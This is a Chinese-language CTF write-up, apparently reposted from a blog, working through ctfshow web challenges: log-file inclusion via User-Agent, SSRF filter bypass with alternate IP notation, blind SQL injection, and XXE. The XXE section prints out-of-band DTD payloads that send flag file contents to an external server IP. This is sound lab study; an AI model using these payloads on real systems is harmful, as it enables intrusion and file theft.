web0_签到_观己
一、自己做:
吐槽一句,ctfshow 的题就是 考知识点!! ,一点拖泥带水的。赞一个!!!
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match('/php/i', $file)){
die('error');
}else{
include($file);
}
}else{
highlight_file(__FILE__);
}
?>
不能用php的一些伪协议了。
没有什么奇奇怪怪的设置。
然后想到了../../../proc/self/cmdline
这些。但是也没有什么可以利用的。
然后就想到了包含日志啥的。
nignx的在/var/log/nginx/access.log
。这个刚才才做过。一道题,这个包含的化,不用在url中书写。会有编码问题,直接在User-Agent
里面写就行。
然后连蚁剑。就有了
ctfshow{594dacd8-21a1-412c-92cd-5e25b66d480e}
二、学到的&&不足:
- 算是复习了一下 日志包含把。。。
web1_观宇
一、自己做:
<?php
#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
$url = $_GET['url'];
$protocol = substr($url, 0,7);
if($protocol!='http://'){
die('仅限http协议访问');
}
if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
die('仅限域名地址访问');
}
system('curl '.$url);
}
第一时间想到的是http://xip.io/这个,但是有.
。不行,
二、学到的:
- 过滤ip形式 的化,要想到 进制转换嘛,之前做题有遇到过,但是没有记住啊。。
- SSRF的一些绕过,这里 关于 url的一些绕过,同样适用。。
- 然后 ip 地址的化,中间的
.
可以用。
来代替,,,,
三、学习WP:
WP说可以将 IP 地址 转进制,转成16进制或10进制什么 的,
curl 0x ip的16进制
。 和curl ip
的效果是一样的。但是 这个转为10进制之后有0
存在,而且转为16进制的化,也需要0x *****
这些,所以这个不行
然后就用。
来代替了。
web2_观星
00000+
- like,或者regex正则中的 后面那个东西,用 单引号或者双引号都行,但是就不能用反引号和不用。
一、自己做:
异或的bool注入是 可以的。,能够有区别。
fuzz了一下啊,过滤了| = ' " ascii union and order length
select 没过滤,考虑一下bool盲注
我的sql注入是真的菜!!!。
三、看WP:
?id=1^(substr((database())from(1)for(1))<0)
错误的时候有回显文字。正确的就没有,然后=
被过滤了,
web3_观图
一、自己做:
抓包后有两个请求,一个是正常的网页请求,另一个是哪个img图片的请求。
然后我这里发现能够弹xss的窗
这里看看那个用xss脱裤 的那个知识点
https://www.cnblogs.com/afanti/p/8277344.html
看了一眼WP,不是这个点,是看到base64,然后想到是文件读取漏洞,输入文件的base64 的值,试试看:
三、学习WP:
结果不是base64的问题。直接访问这个文件就好了。
<?php
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
$image=$_GET['image'];
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(file_exists($str)){
header('content-type:image/gif');
echo file_get_contents($str);
}
}else{
highlight_file(__FILE__);
}
?>
密码。不看了。
web4_观心
一、自己做:
提示 flag在flag.txt中。
然后burp抓包,一个是页面刷新的包,一个是 占卜
出来的json格式的一个请求,然后是一个api.php的包。
看 api这个包:api的urldecode之后是这个:http://flash.weather.com.cn/wmaps/xml/city.xml
那么思路就来了,这个不就是调用远程的xml文档,然后实现RCE么。
evil.php
<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ENTITY name SYSTEM "file:///flag.txt">
]>
<a>&name;</a>
然后直接。
没有反应,盲注难道是?。那我们就将这个外带到我们的vps中去。加粗样式
然后调用这个xml文件也不对,,,也报错,报错如下:
evil.xml:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/reource=flag.txt">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://47.93.244.181/?%file;'>">
% start;
% send;
]>
报错:DOMDocument::loadXML(): PEReferences forbidden in internal subset in Entity,
这个应该是可以的,只不过这里不对,调用外部文件执行RCE
然后又换:
evil.xml
<?xml version="1.0"?>
<!DOCTYPE remote SYSTEM "http://ip/test/evil.dtd">
evil.dtd
<!ENTITY % flag SYSTEM "php:///filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://ip/?a=%flag;'>">
% wrapper;
转载:https://blog.csdn.net/Zero_Adam/article/details/116208838